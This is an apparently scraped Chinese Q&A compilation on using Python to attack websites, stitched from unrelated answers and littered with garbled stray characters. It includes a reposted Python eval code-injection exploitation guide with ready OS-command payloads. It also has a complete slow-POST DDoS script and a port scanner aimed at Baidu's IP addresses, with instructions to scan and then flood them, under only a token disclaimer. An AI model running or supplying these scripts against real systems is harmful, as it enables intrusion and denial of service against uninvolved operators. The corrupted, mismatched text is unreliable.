用python攻击网站_python如何攻击网站

python能入侵网站吗

入侵python的网站并不比其他网站更容易。层层路由后面只开着个80端口，任何请求来了只返回一个静态页面。。。你说这种情况下咋此数入侵。

问题里面提到的接收到服务器数据直接print，我问下提主你雀扒孝顷稿的服务器端是咋整的。自己用套接字写的还是用的框架。print一个东西当然有效果了，如果没有效果加个断点看看。

python访问的链接被劫持

如果Python访问的链接被劫持，可以采用以下步骤处理：

1.确保服务器是正确配置的，以避免未经授权的远程访问。

2.在安全的网亩皮销络环境中运行Python代握岁码，避免易受攻击的环境。

3.定期执行安全审核迅游，及时发现漏洞并采取应对措施。

4.安装安全插件，防范浏览器安全风险。

5.尽量使用HTTPS网站，减少受劫持风险。

用python能攻入网站后台吗？

python是扒森一种胶水语言，适合处理日常的工作，比如自动化、爬取内容以及喊圆数据可视化，对于攻入网站后台来说，需要扎实的前端基础，有这种知识储备的人是春渗亩不会用python来做的。

如何使用python查找网站漏洞

如果你的Web应用中存在Python代码注入漏洞的话，攻击者就可以利用你的Web应用来向你后台服务器的Python解析器发送恶意Python代码了。这也就意味着，如果你可以在目标服务器中执行Python代码的话，你就可以通过调用服务器的操作系统的指令来实施攻击了。通过运行操作系统命令，你不仅可以对那些可以访问到的文件进行读写操作，甚至还可以启动一个远程的交互式Shell(例如nc、Metasploit和Empire)。

为了复现这个漏洞，我在最近的一次外部渗透测试过程中曾尝试去利用过这个漏洞。当时我想在网上查找一些关于这个漏洞具体应用方法的信息，但是并没有找到太多有价值的内容。在同事Charlie Worrell(@decidedlygray)的帮助下，我们成功地通过Burp POC实现了一个非交互式的shell，这也是我们这篇文章所要描述的内容。

因为除了Python之外，还有很多其清改绝他的语言(例如Perl和Ruby)也有可能出现代码注入问题，因此Python代码注入属于服务器端代码注入的一种。实际上，如果各答姿位同学和我一样是一名CWE的关注者，那么下面这两个CWE也许可以给你提供歼慧一些有价值的参考内容：

1. CWE-94：代码生成控制不当(‘代码注入’)2. CWE-95：动态代码评估指令处理不当(‘Eval注入’)漏洞利用

假设你现在使用Burp或者其他工具发现了一个Python注入漏洞，而此时的漏洞利用Payload又如下所示：

eval(compile('for x in range(1):\n import time\n time.sleep(20)','a','single'))那么你就可以使用下面这个Payload来在目标主机中实现操作系统指令注入了：

eval(compile("""for x in range(1):\\n import os\\n os.popen(r'COMMAND').read()""",'','single'))实际上，你甚至都不需要使用for循环，直接使用全局函数“__import__”就可以了。具体代码如下所示：

eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))其实我们的Payload代码还可以更加简洁，既然我们已经将import和popen写在了一个表达式里面了，那么在大多数情况下，你甚至都不需要使用compile了。具体代码如下所示：

__import__('os').popen('COMMAND').read()

为了将这个Payload发送给目标Web应用，你需要对其中的某些字符进行URL编码。为了节省大家的时间，我们在这里已经将上面所列出的Payload代码编码完成了，具体如下所示：

param=eval%28compile%28%27for%20x%20in%20range%281%29%3A%0A%20import%20time%0A%20time.sleep%2820%29%27%2C%27a%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22for%20x%20in%20range%281%29%3A%5Cn%20import%20os%5Cn%20os.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22__import__%28%27os%27%29.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=__import__%28%27os%27%29.popen%28%27COMMAND%27%29.read%28%29接下来，我们将会给大家介绍关于这个漏洞的细节内容，并跟大家分享一个包含这个漏洞的Web应用。在文章的结尾，我将会给大家演示一款工具，这款工具是我和我的同事Charlie共同编写的，它可以明显降低你在利用这个漏洞时所花的时间。简而言之，这款工具就像sqlmap一样，可以让你快速找到SQL注入漏洞，不过这款工具仍在起步阶段，感兴趣的同学可以在项目的GitHub主页[传送门]中与我交流一下。

搭建一个包含漏洞的服务器

为了更好地给各位同学进行演示，我专门创建了一个包含漏洞的Web应用。如果你想要自己动手尝试利用这个漏洞的话，你可以点击这里获取这份Web应用。接下来，我们要配置的就是Web应用的运行环境，即通过pip或者easy_install来安装web.py。它可以作为一台独立的服务器运行，或者你也可以将它加载至包含mod_wsgi模块的Apache服务器中。相关操作指令如下所示：

git clone VulnApp

./install_requirements.sh

python PyCodeInjectionApp.py

漏洞分析

当你在网上搜索关于python的eval()函数时，几乎没有文章会提醒你这个函数是非常不安全的，而eval()函数就是导致这个Python代码注入漏洞的罪魁祸首。如果你遇到了下面这两种情况，说明你的Web应用中存在这个漏洞：

1. Web应用接受用户输入(例如GET/POST参数，cookie值);2. Web应用使用了一种不安全的方法来将用户的输入数据传递给eval()函数(没有经过安全审查，或者缺少安全保护机制);下图所示的是一份包含漏洞的示例代码：

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大家可以看到，eval()函数是上述代码中唯一一个存在问题的地方。除此之外，如果开发人员直接对用户的输入数据(序列化数据)进行拆封的话，那么Web应用中也将会出现这个漏洞。

不过需要注意的是，除了eval()函数之外，Python的exec()函数也有可能让你的Web应用中出现这个漏洞。而且据我所示，现在很多开发人员都会在Web应用中不规范地使用exec()函数，所以这个问题肯定会存在。

自动扫描漏洞

为了告诉大家如何利用漏洞来实施攻击，我通常会使用扫描器来发现一些我此前没有见过的东西。找到之后，我再想办法将毫无新意的PoC开发成一个有意义的exploit。不过我想提醒大家的是，不要过度依赖扫描工具，因为还很多东西是扫描工具也找不到的。

这个漏洞也不例外，如果你在某个Web应用中发现了这个漏洞，那么你肯定使用了某款自动化的扫描工具，比如说Burp Suite Pro。目前为止，如果不使用类似Burp Suite Pro这样的专业扫描工具，你几乎是无法发现这个漏洞的。

当你搭建好测试环境之后，启动并运行包含漏洞的示例应用。接下来，使用Burp Suite Pro来对其进行扫描。扫描结果如下图所示：

\

下图显示的是Burp在扫描这个漏洞时所使用的Payload：

\

我们可以看到，Burp之所以要将这个Web应用标记为“Vulnerable”(包含漏洞的)，是因为当它将这个Payload发送给目标Web应用之后，服务器的Python解析器休眠了20秒，响应信息在20秒之后才成功返回。但我要提醒大家的是，这种基于时间的漏洞检查机制通常会存在一定的误报。

将PoC升级成漏洞利用代码

使用time.sleep()来验证漏洞的存在的确是一种很好的方法。接下来，为了执行操作系统指令并接收相应的输出数据，我们可以使用os.popen()、subprocess.Popen()、或者subprocess.check_output()这几个函数。当然了，应该还有很多其他的函数同样可以实现我们的目标。

因为eval()函数只能对表达式进行处理，因此Burp Suite Pro的Payload在这里使用了compile()函数，这是一种非常聪明的做法。当然了，我们也可以使用其他的方法来实现，例如使用全局函数“__import__”。关于这部分内容请查阅参考资料：[参考资料1][参考资料2]

下面这个Payload应该可以适用于绝大多数的场景：

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# Example with one expression

__import__('os').popen('COMMAND').read()

# Example with multiple expressions, separated by commasstr("-"*50),__import__('os').popen('COMMAND').read()如果你需要执行一个或多个语句，那么你就需要使用eval()或者compile()函数了。实现代码如下所示：

# Examples with one expression

eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True)""",'','single'))#Examples with multiple statements, separated by semicolonseval(compile("""__import__('os').popen(r'COMMAND').read();import time;time.sleep(2)""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True);import time;time.sleep(2)""",'','single'))在我的测试过程中，有时全局函数“__import__”会不起作用。在这种情况下，我们就要使用for循环了。相关代码如下所示：

eval(compile("""for x in range(1):\n import os\n os.popen(r'COMMAND').read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.Popen(r'COMMAND',shell=True, stdout=subprocess.PIPE).stdout.read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.check_output(r'COMMAND',shell=True)""",'','single'))如果包含漏洞的参数是一个GET参数，那么你就可以直接在浏览器中利用这个漏洞了：

\

请注意：虽然浏览器会帮你完成绝大部分的URL编码工作，但是你仍然需要对分号(%3b)和空格(%20)进行手动编码。除此之外，你也可以直接使用我们所开发的工具。

如果是POST参数的话，我建议各位直接使用类似Burp Repeater这样的工具。如下图所示，我在subprocess.check_output()函数中一次性调用了多个系统命令，即pwd、ls、-al、whoami和ping。

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\

漏洞利用工具-PyCodeInjectionShell

你可以直接访问PyCodeInjectionShell的GitHub主页获取工具源码，我们也提供了相应的工具使用指南。在你使用这款工具的过程中会感觉到，它跟sqlmap一样使用起来非常的简单。除此之外，它的使用方法跟sqlmap基本相同。

如何进行DDOS攻击怎么做

会Python吗？下一个Python3.7.0-3.7.3,把代码复制下，毁液嫌粘贴即可

代码：

import socket

import time

import threading

#Pressure Test,ddos tool

#---------------------------

MAX_CONN=20000

PORT=80

HOST="baidu.com"#在双引号里输入对方IP或域名，要保证他联网了或开机了，这里拿百度做示范（别运行！不然后果自负！！）纤手

PAGE="/index.php"

#---------------------------

buf=("POST %s HTTP/1.1\r\n"

"Host: %s\r\n"

"Content-Length: 10000000\r\n"

"Cookie: dklkt_dos_test\r\n"

"\r\n" % (PAGE,HOST))

socks=[]

def conn_thread():

  global socks

  for i in range(0,MAX_CONN):

      s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

      try:

          s.connect((HOST,PORT))

          s.send(buf.encode())

          print ("Send buf OK!,conn=%d\n"%i)

          socks.append(s)

      except Exception as ex:

          print ("Could not connect to server or send error:%s"%ex)

          time.sleep(10)

#end def

def send_thread():

  global socks

  while True:

      for s in socks:

   埋镇       try:

              s.send("f".encode())

              #print "send OK!"

          except Exception as ex:

              print ("Send Exception:%s\n"%ex)

              socks.remove(s)

              s.close()

      time.sleep(1)

#end def

conn_th=threading.Thread(target=conn_thread,args=())

send_th=threading.Thread(target=send_thread,args=())

conn_th.start()

send_th.start()

如果你要攻击网站，以上代码虽然可行，但是，攻击效果很不好。

所以，最好用Windows里的PING进行检测

操作：

在Windows搜索栏里输入：cmd

输入：

ping -n 10 -l 1 baidu.com

//这里拿百度做示范，别真打百度！

那么，就会发现，系统反映了：

正在 Ping baidu.com [39.156.69.79] 具有 1 字节的数据:

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=26ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=29ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=26ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

39.156.69.79 的 Ping 统计信息:

  数据包: 已发送 = 10，已接收 = 10，丢失 = 0 (0% 丢失)，

往返行程的估计时间(以毫秒为单位):

  最短 = 26ms，最长 = 29ms，平均 = 27ms

说明，百度的服务器有一个主服务器是39.156.69.79

那么，就来查找百度的所有服务器吧！

输入以下代码：

#绝大多数成功的网络攻击都是以端口扫描开始的，在网络安全和黑客领域，端口扫描是经常用到的技术，可以探测指定主机上是否

#开放了指定端口，进一步判断主机是否运行了某些重要的网络服务，最终判断是否存在潜在的安全漏洞，从一定意义上将也属于系统运维的范畴

#端口扫描器程序:模拟端口扫描器的工作原理，并采用多进程技术提高扫描速度

import socket

import sys

import multiprocessing

import time as t

def ports(ports_serve):

  #获取常用端口对应的服务名称

  for port in list(range(1,100))+[143,145,113,443,445,3389,8080]:

      try:

          ports_serve[port]=socket.getservbyport(port)

      except socket.error:

          pass

def ports_scan(host,ports_service):

  ports_open=[]

  try:

      sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

      #超时时间的不同会影响扫描结果的精确度

      socket.timeout(0.01)

  except socket.error:

      print('socket creation error')

      sys.exit()

  for port in ports_service:

      try:

          #尝试连接指定端口

          sock.connect((host,port))

          #记录打开的端口

          ports_open.append(port)

          sock.close()

      except socket.error:

          pass

  return ports_open

if __name__ == '__main__':

  m=multiprocessing.Manager()

  ports_service=dict()

  results=dict()

  ports(ports_service)

  #创建进程池，允许最多8个进程同时运行

  pool = multiprocessing.Pool(processes=8)

  net = '39.156.69.'#后面的IP少一个，因为要扫描这段区域内的IP，从而进行攻击

  for host_number in map(str,range(8,10)):

      host = net + host_number

      #创建一个新进程，同时记录其运行结果

      results[host] = pool.apply_async(ports_scan,(host,ports_service))

      print('starting '+host+'...')

  #关闭进程池，close()必须在join()之前调用

  pool.close()

  #等待进程池中的进程全部执行结束

  pool.join()

  #打印输出结果

  for host in results:

      print('='*30)

      print(host,'.'*10)

      for port in results[host].get():

          print(port,':',ports_service[port])

你会发现，Python反映了：

starting 39.156.69.8...

starting 39.156.69.9...

//并不是指百度只有这两个服务器！而是我们目前只能扫描到两个！

接着，运行DDoS攻击程序，把IP分别改为39.156.69.8和39.156.69.9

就可以实现DDoS攻击了。

//注：请不要用于违法用途，并且不要随意进行攻击。如想使用，可攻击虚拟机，但不要攻击外网IP和域名！！！

如何用python黑掉骗人网站

经过扩展以后的XMPP可以通过发送扩展的信息来处理用户的需求，乱氏以及在XMPP的顶端建立如内容发布系统和基于地址的服务等应用程序，同时XMPP提磨局供一个通用的可扩展的框架来哗游散交换XML数据，用于准实时消息和出席信息以及请求-响应服务。